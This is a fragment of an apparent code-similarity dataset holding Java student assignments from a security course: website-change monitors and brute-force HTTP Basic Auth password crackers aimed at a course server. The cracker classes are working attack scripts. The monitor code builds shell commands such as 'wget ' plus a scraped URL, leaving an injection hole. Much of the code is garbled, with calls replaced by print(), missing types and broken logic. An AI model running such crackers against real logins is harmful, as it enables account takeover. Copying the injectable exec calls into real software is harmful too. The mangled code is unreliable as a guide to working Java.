\ e)\n {\n writeProgramLog(\"Exception: \" + e);\n \ |
|
\ }\n }\n } \n \n\n\t\n\tprivate String enumerateDifferences(String\ |
|
\ oldPageFileName, String newPageData)\n\t{\n\t String differences = \"\";\n\ |
|
\t File newFile = null;\n\n\t try\n\t {\n\t \n\t \n\t \ |
|
\ newFile = File.createTempFile(\"new\", \"tmp\");\n String tempFilePath\ |
|
\ = newFile.getAbsolutePath();\n DataOutputStream outFile = new DataOutputStream(new\ |
|
\ FileOutputStream(tempFilePath));\n outFile.writeBytes(newPageData);\n\ |
|
\ outFile.print();\n \n \n String commandLine\ |
|
\ = \"diff \" + oldPageFileName + \" \" + tempFilePath;\n Process p =\ |
|
\ Runtime.getRuntime().exec(commandLine);\n BufferedReader diffs = new\ |
|
\ BufferedReader(new InputStreamReader(p.getInputStream()));\n String\ |
|
\ line;\n while((line = diffs.readLine()) != null)\n differences\ |
|
\ += line + \"\\n\";\n diffs.print();\n newFile.delete();\n\t\ |
|
\ }\n\t catch(IOException e)\n\t {\n\t writeProgramLog(\"Exception:\ |
|
\ \" + e);\n\t }\n\t return differences;\n\t} \n\n\t\n private void\ |
|
\ mail(String mailMessage)\n {\n \n Vector emailAddresses = new\ |
|
\ Vector();\n String watchDogEmailFile = \"watchDogEmail_rcroft.txt\";\n\ |
|
\n \n File emailFile = new File(watchDogEmailFile);\n if(emailFile.exists())\n\ |
|
\ {\n try\n {\n \n \ |
|
\ BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new\ |
|
\ FileInputStream(watchDogEmailFile)));\n String line;\n \ |
|
\ while ((line = inWatchDogEmailFile.readLine()) != null)\n \ |
|
\ {\n line = line.trim();\n if((line\ |
|
\ != \"\") && (line != \"\\n\"))\n emailAddresses.add(line);\n\ |
|
\ }\n inWatchDogEmailFile.print();\n \t }\n\ |
|
\ \t catch(FileNotFoundException e)\n \t {\n \t writeProgramLog(\"\ |
|
Exception: \" + e);\n \t }\n \t catch(IOException e)\n \t {\n\ |
|
\ \t writeProgramLog(\"Exception: \" + e);\n \t }\n }\n\ |
|
\ else\n {\n emailAddresses.add(\"@yallara.cs.rmit.edu.\"\ |
|
);\n emailAddresses.add(\"[email protected].\");\n }\n \ |
|
\ \n if(emailAddresses.size() > 0) \n {\n \ |
|
\ try\n {\n String fromAddress = \"From: \" + \"WatchDog\ |
|
\ Program ()\" + \" <\" + System.getProperty(\"user.name\") + \"@\" + InetAddress.getLocalHost().getHostName()\ |
|
\ + \">\";\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\ |
|
\ DateFormat.FULL);\n String subject = \"Subject: [SEC project]\ |
|
\ Notification of target file changes (\" + longTimestamp.format(new Date()) +\"\ |
|
)\";\n for(int i = 0; i < emailAddresses.size(); i++)\n \ |
|
\ {\n String toAddress = (String) emailAddresses.get(i);\n\ |
|
\ try\n {\n URL mailURL\ |
|
\ = new URL(\"mailto: \" + toAddress);\n URLConnection\ |
|
\ mailConnection = mailURL.openConnection();\n mailConnection.setDoInput(false);\n\ |
|
\ mailConnection.setDoOutput(true);\n \ |
|
\ mailConnection.connect();\n PrintWriter mailWriter\ |
|
\ = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n\ |
|
\ mailWriter.print(\": \" + toAddress + \"\\n\");\n \ |
|
\ mailWriter.print(fromAddress + \"\\n\");\n \ |
|
\ mailWriter.print(subject + \"\\n\");\n mailWriter.print(mailMessage);\n\ |
|
\ mailWriter.print();\n writeProgramLog(\"\ |
|
\\tNotification mailed in this run.\");\n }\n \ |
|
\ catch(MalformedURLException e)\n {\n \ |
|
\ writeProgramLog(\"Exception: \" + e);\n }\n \ |
|
\ catch(IOException e)\n {\n \ |
|
\ writeProgramLog(\"Exception: \" + e);\n }\n \ |
|
\ }\n }\n catch(UnknownHostException e)\n \ |
|
\ {\n writeProgramLog(\"Exception: \" + e);\n \ |
|
\ } \n } \n } \n \n\n\t\n private void writeHash(byte [] newHash,\ |
|
\ String fileName)\n {\n try\n {\n DataOutputStream\ |
|
\ outFile = new DataOutputStream(new FileOutputStream(fileName));\n \ |
|
\ outFile.write(newHash, 0, newHash.length);\n outFile.print();\n\ |
|
\ }\n catch(IOException e)\n {\n writeProgramLog(\"\ |
|
Exception: \" + e);\n }\n } \n \n\t\n private void writePage(String\ |
|
\ newPage, String fileName)\n {\n try\n {\n DataOutputStream\ |
|
\ outFile = new DataOutputStream(new FileOutputStream(fileName));\n \ |
|
\ outFile.writeBytes(newPage);\n outFile.print();\n }\n \ |
|
\ catch(IOException e)\n {\n writeProgramLog(\"Exception:\ |
|
\ \" + e);\n }\n } \n \n\n\t\n private void writeProgramLog(String\ |
|
\ comment)\n {\n String fileName = \"watchDogLog_rcroft.txt\";\n \ |
|
\ try\n {\n DataOutputStream outFile = new DataOutputStream(new\ |
|
\ FileOutputStream(fileName, true));\n outFile.writeBytes(comment +\ |
|
\ \"\\n\");\n outFile.flush();\n outFile.print();\n \ |
|
\ }\n catch(IOException e)\n {\n \n \n\ |
|
\ System.out.println(\"Exception: \" + e);\n }\n } \n\n\t\ |
|
\n private WebPage getPage()\n {\n WebPage tempWebPage = new WebPage();\n\ |
|
\ try\n {\n \n \n \n \ |
|
\ String urlName = \"http://www.cs.rmit.edu./students/\";\n \t \tURL targetURL=\ |
|
\ new URL(urlName);\n \tHttpURLConnection connection = (HttpURLConnection)\ |
|
\ targetURL.openConnection();\n \n \n connection.connect();\n\ |
|
\ connection.getResponseCode();\n if(connection.getResponseCode()\ |
|
\ == 200)\n\t\t {\n\t\t String fileContents = \"\";\n\t\t BufferedReader\ |
|
\ in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\ |
|
\ String line;\n \t\t while((line = in.readLine()) != null)\n\ |
|
\t\t \t fileContents = fileContents + line + \"\\n\";\n\t\t in.print();\n\ |
|
\t\t tempWebPage.setPageContents(fileContents);\n \t\t tempWebPage.setSuccess(true);\n\ |
|
\ \t\t connection.disconnect();\n\t }\n\t else\n\t\t {\n\ |
|
\ \t\t writeProgramLog(\"Failed connect \" + connection.getResponseCode());\n\ |
|
\t\t } \n }\n catch(IOException e)\n {\n \t writeProgramLog(\"\ |
|
Exception \" + e);\n } \n return tempWebPage;\n } \n \n\t\n\ |
|
\ private byte[] calcHash(String pageContents)\n {\n byte[] outHash\ |
|
\ = null;\n try\n {\n MessageDigest msg = MessageDigest.getInstance(\"\ |
|
\");\n msg.reset();\n msg.update(pageContents.getBytes());\n\ |
|
\ outHash = msg.digest();\n msg.reset();\n }\n \ |
|
\ catch(NoSuchAlgorithmException e)\n {\n writeProgramLog(\"\ |
|
Exception: \" + e);\n }\n return outHash;\n } \n \n} \n" |
|
sentences: |
|
- "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\ |
|
\nclass BruteForce {\n\n String password=\"\";\n\n int num =401;\n\n\n \ |
|
\ public static void main (String[] args) {\n\n String str=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ |
|
;\n\n BruteForce URLcon;\n\n int length = 0;\n\n String passwd=\"\ |
|
\";\n\n int t0,t1;\n\n \n if (args.length == 0) {\n \t\n\ |
|
\ \tSystem.err.println (\n \t\t\n \t\t\"Usage : java BruteForce\ |
|
\ <username>\");\n \treturn;\n \t\n \t}\n String username\ |
|
\ = args[0];\n \n\n t0=System.currentTimeMillis();\n\n System.out.println\ |
|
\ (\" \" + new Date());\n \n System.out.println (\"Using BruteForce\ |
|
\ method attack \"+username+\"'s password.Please waiting.......\");\n\n \ |
|
\ for (int i=0;i<str.length();i++){\n\n passwd=str.substring(i,i+1);\n\ |
|
\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401)\ |
|
\ {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\ |
|
The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n\n\n \ |
|
\ \tSystem.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+\ |
|
\ \" seconds.\");\n\n System.out.println (\"Finish \" + new Date());\n\ |
|
\ \n \treturn;\n\n }\n\n for\ |
|
\ (int j=0;j<str.length();j++){\n\n passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\ |
|
\n URLcon = new BruteForce (passwd,username);\n\n \ |
|
\ if ((URLcon.num)!=401) {\n\n \t t1=System.currentTimeMillis();\n\ |
|
\n System.out.println(\"The password: \"+ passwd);\n\n\n \ |
|
\ double dt =t1-t0;\n\n\n\n System.out.println(\"\ |
|
It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \ |
|
\ System.out.println (\"Finish \" + new Date());\n \ |
|
\ \t return;\n\n }\n for (int m=0;m<str.length();m++){\n\ |
|
\n passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\ |
|
\n URLcon = new BruteForce (passwd,username);\n\n \ |
|
\ if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\ |
|
\n System.out.println(\"The password: \"+ passwd);\n\n\n \ |
|
\ \t double dt =t1-t0;\n\n\n\n \tSystem.out.println(\"\ |
|
It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \ |
|
\ \n System.out.println (\"Finish \" + new\ |
|
\ Date());\n \n \t return;\n\n \ |
|
\ }\n\n\n }\n\n}\n}\n System.out.println(\" not find the\ |
|
\ password\");\n\n}\n\n public BruteForce (String password, String username){\n\ |
|
\n \t String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \ |
|
\ \n\n try {\n\n String userPassword = username+\":\"+password ;\n\ |
|
\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\ |
|
\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\ |
|
\ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\ |
|
\ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \ |
|
\ catch(MalformedURLException e){\n \t System.out.println(e);\n \ |
|
\ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \ |
|
\ }\n}" |
|
- "package java.httputils;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\ |
|
import java.sql.Timestamp;\n\n\npublic class RunnableBruteForce extends BruteForce\ |
|
\ implements Runnable\n{\n protected int rangeStart, rangeEnd;\n protected\ |
|
\ boolean stop = false;\n \n public RunnableBruteForce()\n {\n \ |
|
\ super();\n }\n\n \n public void run()\n {\n process();\n\ |
|
\ }\n\n public static void main(String[] args)\n {\n }\n \n \ |
|
\ public int getRangeEnd()\n {\n return rangeEnd;\n }\n\n \n \ |
|
\ public int getRangeStart()\n {\n return rangeStart;\n }\n\n \ |
|
\ \n public void setRangeEnd(int i)\n {\n rangeEnd = i;\n }\n\ |
|
\n \n public void setRangeStart(int i)\n {\n rangeStart = i;\n\ |
|
\ }\n\n \n public boolean isStop()\n {\n return stop;\n \ |
|
\ }\n\n \n public void setStop(boolean b)\n {\n stop = b;\n \ |
|
\ }\n\n public void process()\n {\n String password = \"\";\n \ |
|
\ \n System.out.println(Thread.currentThread().getName() +\n \ |
|
\ \"-> workload: \" +\n this.letters[getRangeStart()]\ |
|
\ + \" \" +\n this.letters[getRangeEnd() - 1]);\n\ |
|
\ setStart(new Timestamp(System.currentTimeMillis()));\n\n for (int\ |
|
\ i = getRangeStart();\n i < getRangeEnd();\n i++)\n \ |
|
\ {\n System.out.println(Thread.currentThread().getName() +\n \ |
|
\ \"-> Trying words beginning with: \" +\n \ |
|
\ letters[i]);\n for (int i2 = 0;\n i2 < letters.length;\n\ |
|
\ i2++)\n {\n for (int i3 = 0;\n \ |
|
\ i3 < letters.length;\n i3++)\n \ |
|
\ {\n if (isStop())\n {\n \ |
|
\ return;\n }\n try\n \ |
|
\ {\n char [] arr = new char [] {letters[i],\ |
|
\ letters[i2], letters[i3]};\n String pwd = new String(arr);\n\ |
|
\ \n if (Thread.currentThread().getName().equals(\"\ |
|
Thread-1\") && pwd.equals(\"bad\"))\n {\n \ |
|
\ System.out.println(Thread.currentThread().getName() +\n \ |
|
\ \"-> Trying password: \" +\n \ |
|
\ pwd);\n }\n attempts++;\n\ |
|
\n BasicAuthHttpRequest req =\n \ |
|
\ new BasicAuthHttpRequest(\n getURL(),\n \ |
|
\ getUserName(),\n \ |
|
\ pwd);\n System.out.println(\"Got the password\");\n\ |
|
\ setPassword(pwd);\n setEnd(new\ |
|
\ Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\ |
|
\n \n this.setChanged();\n \ |
|
\ this.notifyObservers(this.getContent());\n \ |
|
\ return;\n }\n catch (MalformedURLException\ |
|
\ e)\n {\n e.printStackTrace();\n \ |
|
\ return;\n }\n catch\ |
|
\ (IOException e)\n {\n\n }\n \ |
|
\ }\n }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\ |
|
\ }\n\n}\n" |
|
- "\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport\ |
|
\ java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\ |
|
\n{\n\n static String strImageOutputFile01 = \"WebPageImages01.txt\";\n\ |
|
\ static String strImageOutputFile02 = \"WebPageImages02.txt\";\n\n static\ |
|
\ String strWebPageOutputFile01 = \"WebPageOutput01.txt\";\n static String\ |
|
\ strWebPageOutputFile02 = \"WebPageOutput02.txt\";\n\n static String strWatchDogDiffFile_01_02\ |
|
\ = \"WatchDogDiff_01_02.txt\";\n\n static String strFromEmailDefault = \"@.rmit.edu.\"\ |
|
;\n static String strToEmailDefault = \"@.rmit.edu.\";\n\n static String\ |
|
\ strFromEmail = null;\n static String strToEmail = null;\n\n\n\n\n public\ |
|
\ static void main (String args[])\n \n {\n\n \n \n \ |
|
\ \n \n \n\n URL url = null;\n HttpURLConnection urlConnection;\n\ |
|
\ int intContentLength;\n String strWebPageText = \"\";\n\n String\ |
|
\ strURL = \"http://www.cs.rmit.edu./students/\";\n String strPrePend\ |
|
\ = \"http://www.cs.rmit.edu.\";\n\n boolean boolURLisOK = true;\n\n\n\n\n\ |
|
\n System.out.println();\n\n\n \n \n tidyUpWatchDogFiles();\n\ |
|
\n\n \n \n \n \n promptForEmailAddresses();\n\ |
|
\n\n\n\n try\n {\n \n \n url = new URL(strURL);\ |
|
\ \n }\n\n catch(MalformedURLException e)\n {\n System.out.println(\"\ |
|
ERROR: invalid URL \" + strURL); \n System.err.println(e); \n \n \ |
|
\ boolURLisOK = false;\n url = null;\n } \n\n catch(Exception\ |
|
\ e)\n {\n System.out.println(\"Exception\"); \n System.err.println(e);\ |
|
\ \n }\n\n\n System.err.println(); \n\n\n if (boolURLisOK)\n\ |
|
\ {\n try\n { \n\n \n \n \ |
|
\ urlConnection = (HttpURLConnection)url.openConnection();\n\n\n \ |
|
\ \n \n InputStream urlStream = urlConnection.getInputStream();\n\ |
|
\n\n \n \n int intNumRead = urlStream.print();\n\ |
|
\ String strNewContent; \n\n while (intNumRead != -1)\n\ |
|
\ {\n intNumRead = urlStream.print();\n \ |
|
\ if (intNumRead != -1)\n {\n strNewContent =\ |
|
\ (char)intNumRead + \"\"; \n strWebPageText += strNewContent;\n\ |
|
\ }\n }\n\n urlStream.print(); \n\n\n\n \ |
|
\ \n \n if (strWebPageText != null)\n \ |
|
\ {\n\n if (fileExists(strWebPageOutputFile01))\n \ |
|
\ {\n writeTextToFile(strWebPageText, strWebPageOutputFile02);\ |
|
\ \n }\n\n else\n {\n\ |
|
\ writeTextToFile(strWebPageText, strWebPageOutputFile01); \ |
|
\ \n }\n\n\n if (fileExists(strWebPageOutputFile02))\n\ |
|
\ { \n System.out.println(\"Output file\");\n \ |
|
\ System.out.println(\"-----------\");\n System.out.println(\"\ |
|
The output file '\" + \n strWebPageOutputFile02\ |
|
\ + \n \"' has NOW BEEN created.\"); \ |
|
\ \n System.out.println();\n\ |
|
\ System.out.println(\"Comparison\");\n System.out.println(\"\ |
|
----------\");\n System.out.println(\"A text comparison NOW\ |
|
\ performed \" +\n \"with the output\");\n\ |
|
\ System.out.println(\"file '\" + strWebPageOutputFile01 + \"\ |
|
'.\");\n System.out.println();\n\n\n\n \n\ |
|
\ \n\n \n \n \ |
|
\ createDiffFileIfNeeded(strWebPageOutputFile01, \n \ |
|
\ strWebPageOutputFile02); \n\n\n \ |
|
\ \n \n if (fileExists(strWatchDogDiffFile_01_02))\n\ |
|
\ { \n\n System.out.println(\"Mail (ordinary\ |
|
\ text comparison)\");\n System.out.println(\"--------------------------------\"\ |
|
);\n\n if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n \ |
|
\ {\n sendMailWithDetectedChanges();\n\ |
|
\ System.out.println(\"Text diff mail has been sent the\ |
|
\ '' email address.\");\n }\n else\n \ |
|
\ {\n System.out.println(\"The DIFF\ |
|
\ file has zero length - text diff mail has NOT been sent.\");\n \ |
|
\ }\n\n }\n\n\n\n \n \ |
|
\ \n createImageTextFile(strWebPageOutputFile01, strPrePend);\n\ |
|
\ createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n\ |
|
\ System.out.println();\n System.out.println(\"\ |
|
Image text file/s\");\n System.out.println(\"-----------------\"\ |
|
);\n\n\n if (fileExists(strImageOutputFile01))\n \ |
|
\ {\n System.out.println(\"'\" + strImageOutputFile01\ |
|
\ + \"' has been created.\");\n System.out.println(\"Images\ |
|
\ from '\" + strImageOutputFile01 + \"' now downloaded using\"); \n \ |
|
\ System.out.println(\"the Unix 'wget' command:\"); \n\n \ |
|
\ downloadImages(strImageOutputFile01);\n }\n\n\ |
|
\ if (fileExists(strImageOutputFile02))\n {\n\ |
|
\ System.out.println();\n System.out.println(\"\ |
|
'\" + strImageOutputFile02 + \"' has been created.\");\n }\n\n\ |
|
\ System.out.println();\n\n }\n\n \ |
|
\ else if (fileExists(strWebPageOutputFile01))\n {\n \ |
|
\ System.out.println(\"Output file\");\n System.out.println(\"\ |
|
-----------\");\n System.out.println(\"The output file '\" \ |
|
\ + \n strWebPageOutputFile01 + \n \ |
|
\ \"' has NOW BEEN created.\"); \ |
|
\ \n System.out.println();\n \ |
|
\ System.out.println(\"Comparison\");\n System.out.println(\"\ |
|
----------\");\n System.out.println(\"A comparison CANNOT performed\ |
|
\ \" +\n \"with this output file\");\n \ |
|
\ System.out.println(\"because it is the only output file \" +\n\ |
|
\ \"in existence.\");\n System.out.println();\n\ |
|
\ }\n\n }\n\n }\n\n catch(Exception e)\n\ |
|
\ {\n\n boolURLisOK = false;\n\n System.err.println(e);\n\ |
|
\ } \n\n finally\n { \n urlConnection = null;\n\ |
|
\ url = null; \n }\n\n }\n\n\n System.out.println();\n\ |
|
\n }\n\n\n\n\n\n\n\n static void tidyUpWatchDogFiles()\n \n {\n\n \ |
|
\ \n \n\n\n \n \n deleteFile(strWatchDogDiffFile_01_02);\n\ |
|
\n\n \n \n deleteFile(strImageOutputFile01);\n deleteFile(strImageOutputFile02);\n\ |
|
\n\n if (fileExists(strWebPageOutputFile01))\n {\n\n if (fileExists(strWebPageOutputFile02))\n\ |
|
\ {\n \n \n \n \ |
|
\ \n \n deleteFile(strWebPageOutputFile01);\n \ |
|
\ renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n }\n\ |
|
\n }\n\n else\n {\n \n \n \n \ |
|
\ deleteFile(strWebPageOutputFile02);\n }\n\n }\n\n\n\n\n\n\n\n\ |
|
\ static void promptForEmailAddresses()\n \n { \n\n\n BufferedReader\ |
|
\ stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n \ |
|
\ \n \n System.out.println();\n System.out.println(\"'From'\ |
|
\ email address\");\n System.out.println(\"--------------------\");\n \ |
|
\ System.out.println(\"Please enter a 'From' email address, press Enter for\ |
|
\ default\");\n System.out.print(\"(default: \" + strFromEmailDefault + \"\ |
|
): \");\n\n try\n {\n strFromEmail = stdin.readLine();\n \ |
|
\ }\n catch (Exception e)\n {\n System.err.println(e);\n\ |
|
\ }\n \n\n System.out.println();\n\n if ( (strFromEmail == null)\ |
|
\ || (strFromEmail.length() == 0) )\n {\n System.out.println(\" email\ |
|
\ address was entered.\"); \n System.out.println(\"The 'From'\ |
|
\ email address default : \" + strFromEmailDefault); \n strFromEmail\ |
|
\ = strFromEmailDefault;\n }\n\n else\n {\n System.out.println(\"\ |
|
The entered 'From' email address is: \" + strFromEmail); \n }\n\n\ |
|
\n\n \n \n System.out.println();\n System.out.println(\"\ |
|
'' email address\");\n System.out.println(\"------------------\");\n \ |
|
\ System.out.println(\"Please enter a '' email address, press Enter for default\"\ |
|
);\n System.out.print(\"(default: \" + strToEmailDefault + \"): \");\n\n\ |
|
\ try\n {\n strToEmail = stdin.readLine();\n }\n catch\ |
|
\ (Exception e)\n {\n System.err.println(e);\n }\n \n\n \ |
|
\ System.out.println();\n\n if ( (strToEmail == null) || (strToEmail.length()\ |
|
\ == 0) )\n {\n System.out.println(\" email address was entered.\"\ |
|
); \n System.out.println(\"The '' email address default : \"\ |
|
\ + strToEmailDefault); \n strToEmail = strToEmailDefault;\n \ |
|
\ }\n\n else\n {\n System.out.println(\"The entered '' email\ |
|
\ address is: \" + strToEmail); \n }\n\n }\n\n\n\n\n\n\n\n static\ |
|
\ void writeTextToFile(String strText,\n String\ |
|
\ strWriteToThisFileName)\n \n {\n\n try\n {\n\n File newFile\ |
|
\ = new File(strWriteToThisFileName);\n\n if (newFile.exists())\n \ |
|
\ {\n newFile.delete();\n }\n\n\n BufferedWriter\ |
|
\ toFile =\n new BufferedWriter(new FileWriter(newFile,\n \ |
|
\ false));\n\n toFile.write(strText);\n\ |
|
\n toFile.print();\n toFile = null;\n newFile = null;\n\ |
|
\n }\n\n catch(Exception e)\n {\n System.err.println(e.toString());\n\ |
|
\ System.out.println(\"File write problem for '\" + \n \ |
|
\ strWriteToThisFileName +\n \"'.\"\ |
|
); \n }\n\n }\n\n\n\n\n\n\n\n static void createDiffFileIfNeeded(String\ |
|
\ strFileName1, \n String strFileName2)\n\ |
|
\ \n {\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n\n \n \ |
|
\ \n try\n {\n\n Process p = Runtime.getRuntime().exec(\"\ |
|
./diff_files.sh\");\n p.waitFor();\t\n\n }\n\n catch (Exception\ |
|
\ e)\n {\n System.out.println(\"Shell script exception\");\n \ |
|
\ System.out.println(\"----------------------\");\n System.err.println(e);\n\ |
|
\ System.out.println(\"\");\n }\n\n }\n\n\n\n\n\n\n\n static\ |
|
\ void createImageTextFile(String inputFile, String prePend)\n \n {\n\n \ |
|
\ \n \n \n \n \n \n \n \ |
|
\ \n \n \n \n \n \n \n\ |
|
\ \n \n \n \n \n\n String str;\n\ |
|
\ String strImage = \"\";\n String strImageArray[];\n String strInputFromFile\ |
|
\ = \"\";\n String strSearchString = \"<img src\";\n\n boolean boolContinue\ |
|
\ = true;\n\n int intImageCounter = 0;\n int intStartSearch = 0;\n\ |
|
\n char ch;\n\n\n\n\n\n strImageArray = new String[1000];\n\n\n\n \ |
|
\ \n \n try\n {\n\n BufferedReader file =\n \ |
|
\ new BufferedReader(new FileReader(inputFile));\n\n\n while\ |
|
\ ( (str = file.readLine()) != null)\n {\n strInputFromFile\ |
|
\ += str;\n }\n\n file.print();\n file = null;\n\n \ |
|
\ }\n\n catch (Exception e)\n {\n boolContinue = false;\n\ |
|
\ System.err.println(e); \n }\t\n\n\n\n if (boolContinue)\n\ |
|
\ {\n\n strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\ |
|
\n intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\ |
|
\n\n while (intStartSearch != -1)\n {\n\n intStartSearch\ |
|
\ += 8;\n\n while ( (strInputFromFile.charAt(intStartSearch) == ' ')\ |
|
\ ||\n (strInputFromFile.charAt(intStartSearch) == '=') ||\n\ |
|
\ (strInputFromFile.charAt(intStartSearch) == '\\\"') )\n\ |
|
\ {\n intStartSearch++; \n }\n\n\ |
|
\ while ((strInputFromFile.charAt(intStartSearch) != '\\\"')) \ |
|
\ \n {\n\n ch = strInputFromFile.charAt(intStartSearch);\n\ |
|
\n strImage += String.valueOf(ch);\n intStartSearch++;\n\ |
|
\n }\n\n\n if (strImage.startsWith(\"/\"))\n \ |
|
\ strImage = prePend + strImage; \n\n\n intImageCounter++;\n\ |
|
\ strImageArray[intImageCounter - 1] = strImage;\n\n strImage\ |
|
\ = \"\";\n\n intStartSearch = strInputFromFile.indexOf(strSearchString,\ |
|
\ intStartSearch);\n\n }\n\n\n if (inputFile.equals(strWebPageOutputFile01))\ |
|
\ \n { \n writeTextArrayToFile(strImageArray, \n \ |
|
\ strImageOutputFile01,\n \ |
|
\ intImageCounter);\n }\n else if (inputFile.equals(strWebPageOutputFile02))\ |
|
\ \n { \n writeTextArrayToFile(strImageArray, \n \ |
|
\ strImageOutputFile02,\n \ |
|
\ intImageCounter);\n }\n\n\n }\n\n }\n\n\n\n\n\n\n\n static\ |
|
\ void downloadImages(String ImageOutputFile)\n \n {\n\n Process p;\n\ |
|
\n String str;\n String strFileName;\n\n\n\n try \n {\n\ |
|
\n BufferedReader file =\n new BufferedReader(new FileReader(ImageOutputFile));\n\ |
|
\n\n\n while ( (str = file.readLine()) != null)\n {\n\n \ |
|
\ strFileName = getImageFileName(str);\n\n System.out.println(\"\ |
|
\ \" + str);\n System.out.println(\" file name: \"\ |
|
\ + strFileName); \n\ |
|
\n\n if (fileExists(strFileName))\n deleteFile(strFileName);\n\ |
|
\n\n p = Runtime.getRuntime().exec(\"wget \" + str);\n p.waitFor();\t\ |
|
\n\n }\n\n\n file = null;\n\n }\n\n catch (Exception\ |
|
\ e)\n {\n System.err.println(\"downloadingImages: \" + e);\n \ |
|
\ }\n\n }\n\n\n\n\n\n\n\n static String getImageFileName(String imageFileName)\n\ |
|
\ \n {\n\n \n \n \n\n String strFileName;\n\n\ |
|
\ int intFileNameLength = imageFileName.length(); \n int intStartPosOfFileName\ |
|
\ = intFileNameLength - 1;\n\n\n\n\n \n \n while ( (intStartPosOfFileName\ |
|
\ >= 0) && \n (imageFileName.charAt(intStartPosOfFileName) != '/')\ |
|
\ )\n {\n intStartPosOfFileName--; \n }\n\n\n strFileName\ |
|
\ = imageFileName.substring(intStartPosOfFileName + 1, \n \ |
|
\ intFileNameLength);\n\n\n return strFileName;\n\n\ |
|
\ }\n\n\n\n\n\n\n\n static void writeTextArrayToFile(String strTextArray[],\n\ |
|
\ String strWriteToThisFileName,\n \ |
|
\ int numberOfImages )\n \n {\n\n boolean\ |
|
\ boolFirstLineWritten = false;\n\n\n\n try\n {\n\n File newFile\ |
|
\ = new File(strWriteToThisFileName);\n\n if (newFile.exists())\n \ |
|
\ {\n newFile.delete();\n }\n\n\n BufferedWriter\ |
|
\ toFile =\n new BufferedWriter(new FileWriter(newFile,\n \ |
|
\ false));\n\n for ( int i = 0\ |
|
\ ; i < numberOfImages ; i++ )\n {\n\n if (boolFirstLineWritten)\ |
|
\ \n toFile.newLine();\n else\n boolFirstLineWritten\ |
|
\ = true;\n \n\n toFile.write(strTextArray[i]);\n\n }\n\n\n\ |
|
\ toFile.print();\n toFile = null;\n newFile = null;\n\ |
|
\n }\n\n catch(Exception e)\n {\n System.err.println(e.toString());\n\ |
|
\ System.out.println(\"File write problem for '\" + \n \ |
|
\ strWriteToThisFileName +\n \"'.\"\ |
|
); \n }\n\n }\n\n\n\n\n\n\n\n static boolean fileExists(String\ |
|
\ strFileName)\n \n {\n\n boolean boolReturnValue;\n File aFile\ |
|
\ = new File(strFileName);\n\n\n if (aFile.exists())\n boolReturnValue\ |
|
\ = true;\n else\n boolReturnValue = false;\n \n\n aFile\ |
|
\ = null;\n\n\n return boolReturnValue;\n\n }\n\n\n\n\n\n\n\n static\ |
|
\ void deleteFile(String strFileName)\n \n {\n\n\n if (fileExists(strFileName))\n\ |
|
\ { \n File aFile = new File(strFileName);\n\n try\n \ |
|
\ {\n aFile.delete();\n }\n\n catch (Exception\ |
|
\ e)\n {\n System.err.println(e);\n }\n\n\n \ |
|
\ aFile = null;\n\n }\n\n }\n\n\n\n\n\n\n\n static void renameFile(String\ |
|
\ strFromFileName, String strToFileName)\n \n {\n\n\n File from = new\ |
|
\ File(strFromFileName);\n File to = new File(strToFileName);\n\n\n \ |
|
\ boolean success = from.renameTo();\n\n\n from = null;\n to = null;\n\ |
|
\n }\n\n\n\n\n\n\n\n static getFileSize(String strFileName)\n \n {\n\n\ |
|
\ lngReturnValue;\n\n\n\n File file = new File(strFileName);\n \ |
|
\ \n lngReturnValue = file.length();\n\n file = null;\n\n\n return\ |
|
\ lngReturnValue;\n\n }\n\n\n\n\n\n\n\n static void sendMailWithDetectedChanges()\n\ |
|
\ \n {\n\n String str;\n String strInputFromFile = null;\n\n\n\n\ |
|
\ try \n { \n\n\n BufferedReader fromFile =\n new\ |
|
\ BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n while\ |
|
\ ( (str = fromFile.readLine()) != null)\n {\n strInputFromFile\ |
|
\ += str;\n }\n\n fromFile.print();\n fromFile = null;\n\ |
|
\n\n \n \n \n SmtpClient smtp = new SmtpClient();\ |
|
\ \n\n \n \n smtp.from(strFromEmail); \n\n \ |
|
\ \n \n smtp.to(strToEmail); \n\n \n \ |
|
\ \n PrintStream msg = smtp.startMessage(); \n\n \n \ |
|
\ \n msg.println(\": \" + strToEmail); \n\n \n \ |
|
\ \n msg.println(\"From: \" + strFromEmail); \n msg.println(\"\ |
|
Subject: Change in website content\\n\"); \n msg.println(strInputFromFile);\ |
|
\ \n\n \n \n \n smtp.closeServer(); \n\ |
|
